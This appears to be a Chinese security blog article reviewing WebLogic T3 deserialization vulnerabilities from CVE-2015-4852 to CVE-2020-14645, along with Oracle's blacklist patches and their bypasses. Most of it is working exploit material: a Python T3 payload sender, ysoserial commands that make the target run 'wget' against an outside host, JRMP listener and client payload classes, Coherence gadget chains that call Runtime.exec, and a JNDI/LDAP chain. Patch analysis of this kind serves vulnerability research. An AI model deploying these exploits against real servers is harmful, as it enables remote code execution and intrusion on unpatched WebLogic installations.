Weblogic系列文章,总结了近年来t3反序列化相关漏洞与绕过。

Weblogic t3 反序列化

JRMP是Java默认RMI的通信协议,而Weblogic实现的RMI的通信协议主要为t3(还有基于CORBA的IIOP协议)。t3协议的特点可以看这里

根据上文的分析,T3协议由协议头包裹(前四个字节为数据包大小),且数据包中包含多个序列化的对象(每个序列化数据包前面都有相同的二进制串(0xfe010000)),通信的时候会读取序列化对象进行反序列化。

那么我们就可以替换其中的两个0xfe010000字节流中间的序列化数据为可控的恶意序列化数据。

图片

简单的payload如下,先生成gadget链数据,然后用这个拼接到t3数据流中再重新计算数据流长度替换前四个字节发送。

t3.py

# -*- coding: utf-8 -*- 

import socket
import struct
import sys

def exp(filename, host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        print(data)
        f = open(filename, 'rb')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack('>I', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
        print(data)
    except socket.error as e:
        print (u'socket 连接异常!')
    finally:
        sock.close()

if(len(sys.argv)<4):
    print("usage: python t3.py ser.data ip port")
else:
    filename = sys.argv[1]
    ip = sys.argv[2]
    port = sys.argv[3]
    exp(filename, ip, port)

CVE-2015-4852

漏洞版本

10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0

漏洞利用

这是t3反序列化第一个漏洞点,没有任何限制,所以可以用上面的t3.py来打。

那时的cc1链还可用,生成序列化数据。

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "wget 192.168.223.130:9999" > /tmp/1.dat

python2 t3.py /tmp/1.dat 127.0.0.1 7001

CVE-2015-4852补丁

这里贴一张大佬文章中的Java反序列化时序图

img

从ObjectInputStream的readObject进入开始反序列化,读取到object字节流时进入readOrdinaryObject

image-20210809163800252

在readOrdinaryObject方法中,先进行readClassDesc解析对象的类,代理类和普通类分开解析。

解析完了后再进入readSerialData或readExternalData反序列化对象。

image-20210809164004201

CVE-2015-4852的补丁就是作用在readClassDesc解析对象类的时候加入的黑名单,不允许某些类反序列化。

t3反序列化时用的是继承自ObjectInputStream的InboundMsgAbbrev.ServerChannelInputStream类。

image-20210809164519426

所以补丁是改写了InboundMsgAbbrev.ServerChannelInputStream等类的resolveClass

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

黑名单为

org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

CVE-2016-0638 && CVE-2016-3510

这两个是延续了对4852的绕过。

CVE-2016-0638

10.3.6, 12.1.2, 12.1.3, and 12.2.1

这个漏洞是利用weblogic.jms.common.StreamMessageImpl类绕过上面了补丁的黑名单。

该类的readExternal方法对输入流进行了二次反序列化。

image-20210809171121192

补丁

替换为FilteringObjectInputStream类,也是在下面的readObject后resolveClass处黑名单限制(这个我是在weblogic14上看到的补丁,并不知道是什么时候打上去的,也没有查到相关内容)。

image-20210809221900101

CVE-2016-3510

10.3.6.0, 12.1.3.0, and 12.2.1.0

与0638类似,是利用weblogic.corba.utils.MarshalledObject类在反序列化执行readResolve时对objBytes属性字节流进行反序列化的操作绕过黑名单。

image-20210809204217136

复现

这两个的复现我们都使用weblogic_cmd来复现,也可以用它生成序列化数据用上面的t3.py发送。它用的就是cc1链,默认是使用weblogic.jms.common.StreamMessageImpl绕过的。

CVE-2017-3248 && CVE-2018-2628 && CVE-2018-2893 && CVE-2018-3245

这三个cve是利用JRMP反序列化对上面黑名单的绕过

CVE-2017-3248

漏洞版本

10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1

前面目前来说还是黑名单限制的t3反序列化。这里使用ysoserial的JRMPClient反序列化gadget链,这个gadget链可以让目标服务器作为JRMP客户端去连接JRMP服务器端,我们知道JRMP之间的通信也是通过序列化进行的,所以我们监听一个JRMP服务器并返回恶意序列化数据就能在目标服务器进行二次反序列化,这样第二次反序列化就不会受到上述黑名单的限制了。

监听JRMP服务器,返回恶意cc1链

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 "wget 192.168.223.130:9999"

利用ysoserial生成的JRMPClient序列化数据

python2 44553.py 127.0.0.1 7001 /home/kali/share/VmShare/tools/ctf/web/java/ysoserial/ysoserial-master-30099844c6-1.jar 192.168.223.130 8080 JRMPClient

补丁

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    String[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ < len$; ++i$) {
        String intf = arr$[i$];
        if (intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }

    return super.resolveProxyClass(interfaces);
}

可以看到只限制了反序列化代理类执行resolveProxyClass时限制了java.rmi.registry.Registry类。

CVE-2018-2628

漏洞版本

10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

看到了3248的补丁,可以发现只在resolveProxyClass限制了java.rmi.registry.Registry类,那么就出现了以下三种方式绕过。

方法一

看ysoserial的JRMPClient的payload,生成UnicastRef对象后封装进RemoteObjectInvocationHandler动态代理中。

image-20210810114604982

反序列化时是调用RemoteObjectInvocationHandler类的父类RemoteObject的readObject,然后在下面将执行UnicastRef的readExternal,后面再是后续的链。

image-20210810114756066

但其实直接生成生成UnicastRef对象,UnicastRef对象在反序列化时也会调用readExternal,那就不需要套一层动态代理了。因为补丁仅作用于resolveProxyClass,所以可以绕过。

如下

package ysoserial.payloads.mytest;

import java.io.FileOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<UnicastRef> {

    public UnicastRef getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Object o = new JRMPClient1().getObject("192.168.223.130:9998");
        FileOutputStream out = new FileOutputStream("test.data");
        Serializer.serialize(o, out);
    }
}

方法二

过滤了java.rmi.registry.Registry类,可以替换这个接口类为java.rmi.activation.Activator

package ysoserial.payloads.mytest.weblogic;

import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(),
            new Class[] {
                Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Object o = new JRMPClient2().getObject("192.168.223.130:9998");
        FileOutputStream out = new FileOutputStream("test.data");
        Serializer.serialize(o, out);
    }
}

不过我试了下直接用Registry和Activator的父类Remote也行。

补丁

来自这里, 将sun.rmi.server.UnicastRef加入了黑名单

private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
  private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
  private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };

CVE-2018-2893

漏洞版本

10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

方法一

虽然2628打了补丁,但是其中的方法二并没有被限制住。

因为方法二走的是RemoteObjectInvocationHandler动态代理的反序列化,执行的是其父类RemoteObject的readObject。

看下图可知,ref为UnicastRef对象,执行的readExternal是不会被上述黑名单的resolveClass限制的。

image-20210810114756066

方法二

上面利用streamMessageImpl进行的二次反序列化这里还能用,不过它的补丁似乎在这里还没有补。

补丁

补丁还是看的这里

private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
  private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };

黑名单进行了更新

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

CVE-2018-3245

漏洞版本

10.3.6.0, 12.1.3.0, 12.2.1.3

上面的补丁增加了黑名单的限制,但其实只要继续找继承自RemoteObject的类且未重写readObject且不存在于黑名单中就行。

师傅找到一个这个类RMIConnectionImpl_Stub, 直接写payload

package ysoserial.payloads.mytest.weblogic;

import java.io.FileOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<RMIConnectionImpl_Stub> {

    public RMIConnectionImpl_Stub getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref);
        return obj;
    }


    public static void main ( final String[] args ) throws Exception {
        Object o = new JRMPClient3().getObject("192.168.223.130:9998");
        FileOutputStream out = new FileOutputStream("test.data");
        Serializer.serialize(o, out);
    }
}

总结

这个部分就主要是各种绕过,weblogic这种黑名单打补丁的方式肯定是不安全的,出了新链就还是没用了。

不过越到后面越难以利用。到这里貌似commonCollection已经升级,cc链打不通了,只能打Jdk7u21这条链,限制于java版本比较鸡肋。

CVE-2019-2890

这也是个新链,如下weblogic.wsee.jaxws.persistence.PersistentContext类的readObject中会在随后解密bytes属性。然后将其字节流进行二次反序列化。

image-20210810210055968

但是在加解密时都需要服务器上的SerializedSystemIni.dat文件作为密钥,这就显得很鸡肋,能读这个密钥文件再读密码文件通常能直接拿到后台了。

其他详细信息可以看这里

CVE-2020-2555 && CVE-2020-2883 && CVE-2020-14645

这部分是coherence.jar中的新链,几个CVE又是补丁与绕过的艺术。

漏洞组件(其中cve-2020-14645只有第四个)

10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0

CVE-2020-2555

这条链是cc5链相同的gadget链触发点,从BadAttributeValueExpException的readObject执行到toString

看下面我们可以知道LimitFilter的toString执行了extract,我们可知extractor属性为ValueExtractor类对象。

image-20210810173256022

其中继承自ValueExtractor的ReflectionExtractor类和ChainedExtractor类有用。

ReflectionExtractor的extract方法

    public Object extract(Object oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            Class clz = oTarget.getClass();

            try {
                Method method = this.m_methodPrev;
                if (method == null || method.getDeclaringClass() != clz) {
                    this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
                }

                return method.invoke(oTarget, this.m_aoParam);
            } catch (NullPointerException var4) {
                throw new RuntimeException(this.suggestExtractFailureCause(clz));
            } catch (Exception var5) {
                throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
            }
        }
    }

ChainedExtractor的extract方法

    public Object extract(Object oTarget) {
        ValueExtractor[] aExtractor = this.getExtractors();
        int i = 0;

        for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
            oTarget = aExtractor[i].extract(oTarget);
        }

        return oTarget;
    }

在这里我们就可以发现和cc链的Transformer类似,链式执行命令。

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class cve2555 {

    public static void main(String[] args) throws Exception {
        ChainedExtractor ce = new ChainedExtractor(
            new ValueExtractor[]{
                     new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
                     new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
                     new ReflectionExtractor("exec", new Object[]{"calc"})
            }
        );

        LimitFilter lf = new LimitFilter();
        lf.setComparator(ce);
        lf.setTopAnchor(Runtime.class);

        BadAttributeValueExpException b = new BadAttributeValueExpException(1);
        Field f1 = b.getClass().getDeclaredField("val");
        f1.setAccessible(true);
        f1.set(b, lf);

        deserialize(serialize(b));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

补丁

补丁打在了LimitFilter类的toString方法,可以看到将所有执行extractor.extract()的地方都删除了,这样就在这一环破坏了gadget链。

Picture1.png

其他

y4er师傅文章中介绍了两个点

  1. coherence.jar要使用和目标版本一致的,不然会有serialVersionUID不一致的问题。
  2. BadAttributeValueExpException对jdk的版本有要求。具体看这里

CVE-2020-2883

看了2555的补丁,仅仅是在执行extract部分破坏了gadget链,而后面的反射执行的部分是没有变化的。

链一

首先我们可以看com.tangosol.util.comparator.ExtractorComparator类,它的compare函数中可以接上2555的gadget链。

image-20210810214133234

看到compare函数,我们可以联想到cc2链从PriorityQueue执行到compare,那么将这两个链合在一起就是一条新链。

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cve2883_1 {

    public static void main(String[] args) throws Exception {
        ChainedExtractor ce = new ChainedExtractor(
                new ValueExtractor[]{
                        new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
                        new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
                        new ReflectionExtractor("exec", new Object[]{"calc"})
                }
        );

        ExtractorComparator ec = new ExtractorComparator(ce);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ec);

        Field f1 = queue.getClass().getDeclaredField("queue");
        f1.setAccessible(true);
        Object[] queueArray = (Object[]) f1.get(queue);
        queueArray[0] = Runtime.class;
        queueArray[1] = Runtime.class;

        Field f2 = queue.getClass().getDeclaredField("size");
        f2.setAccessible(true);
        f2.set(queue, 2);

        deserialize(serialize(queue));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

链二

先看com.tangosol.util.extractor.AbstractExtractor类的compare方法,它执行了自己的extract方法

image-20210810223443297

而com.tangosol.util.extractor.MultiExtractor类继承自AbstractExtractor类,它的extract方法为如下,aExtractor来自this.getExtractors()返回的是this.m_aExtractor, 这样的话在此后面我们就可以继续利用2555的链。

image-20210810223726130
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.MultiExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cve2883_2 {

    public static void main(String[] args) throws Exception {
        ChainedExtractor ce = new ChainedExtractor(
                new ValueExtractor[]{
                        new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
                        new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
                        new ReflectionExtractor("exec", new Object[]{"calc"})
                }
        );

        MultiExtractor ec = new MultiExtractor(new ValueExtractor[]{ce});

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ec);

        Field f1 = queue.getClass().getDeclaredField("queue");
        f1.setAccessible(true);
        Object[] queueArray = (Object[]) f1.get(queue);
        queueArray[0] = Runtime.class;
        queueArray[1] = Runtime.class;

        Field f2 = queue.getClass().getDeclaredField("size");
        f2.setAccessible(true);
        f2.set(queue, 2);

        deserialize(serialize(queue));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

CVE-2020-14645

2883的补丁将存在恶意操作的几个类MvelExtractor 和 ReflectionExtractor都过滤了,这里考虑继续找一个继承自ValueExtractor的恶意类。

师傅们找到的类是UniversalExtractor类,它仅存在于12.2.1.4.0所以前面几个版本是打不通的。

借用PriorityQueue前面的链,继续走extract方法。

可以看到UniversalExtractor类的extract方法只能进入extractComplex, 在extractComplex中最后面存在方法的反射调用。

那么现在的目标就是控制调用的方法。

image-20210811170219260

执行的对象类型可控,方法名由下面代码的限制必须为get或者is开头的方法,且为无参方法。

image-20210811171200383

无参getter方法我们可以想到fastjson漏洞使用的JdbcRowSetImpl链,在执行getDatabaseMetaData方法时会在后续触发JNDI注入。

poc

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.extractor.UniversalExtractor;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cve14645 {

    public static void main(String[] args) throws Exception {
        UniversalExtractor ue = getNewInstances(UniversalExtractor.class);

        Field ff = UniversalExtractor.class.getDeclaredField("m_sName");
        ff.setAccessible(true);
        ff.set(ue, "DatabaseMetaData");

        Field fff = UniversalExtractor.class.getDeclaredField("m_aoParam");
        fff.setAccessible(true);
        fff.set(ue, new String[]{});

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ue);

        Field f1 = queue.getClass().getDeclaredField("queue");
        f1.setAccessible(true);
        Object[] queueArray = (Object[]) f1.get(queue);

        JdbcRowSetImpl jdbc = getNewInstances(JdbcRowSetImpl.class);
        Field f = BaseRowSet.class.getDeclaredField("dataSource");
        f.setAccessible(true);
        f.set(jdbc, "ldap://127.0.0.1:9999/xxxx");


        queueArray[0] = jdbc;
        queueArray[1] = jdbc;

        Field f2 = queue.getClass().getDeclaredField("size");
        f2.setAccessible(true);
        f2.set(queue, 2);

        deserialize(serialize(queue));
    }

    public static byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    static <T> T getNewInstances(Class <T> clazz) throws Exception{
        Constructor cc3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,
                Object.class.getDeclaredConstructor());
        cc3.setAccessible(true);
        return (T) cc3.newInstance();
    }

}

ref

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

https://y4er.com/post/weblogic-cve-2015-4852/

http://xxlegend.com/2018/06/20/%E5%85%88%E7%9F%A5%E8%AE%AE%E9%A2%98%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98%20%E8%A7%A3%E8%AF%BB/

https://xz.aliyun.com/t/2479

https://xz.aliyun.com/t/8443

https://www.cnblogs.com/afanti/p/10240217.html

https://y4er.com/post/weblogic-cve-2016-0638/

https://github.com/5up3rc/weblogic_cmd

https://y4er.com/post/weblogic-jrmp/

http://blog.topsec.com.cn/%E5%A4%A9%E8%9E%8D%E4%BF%A1%E5%85%B3%E4%BA%8Ecve-2018-2893-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://paper.seebug.org/1287/

https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ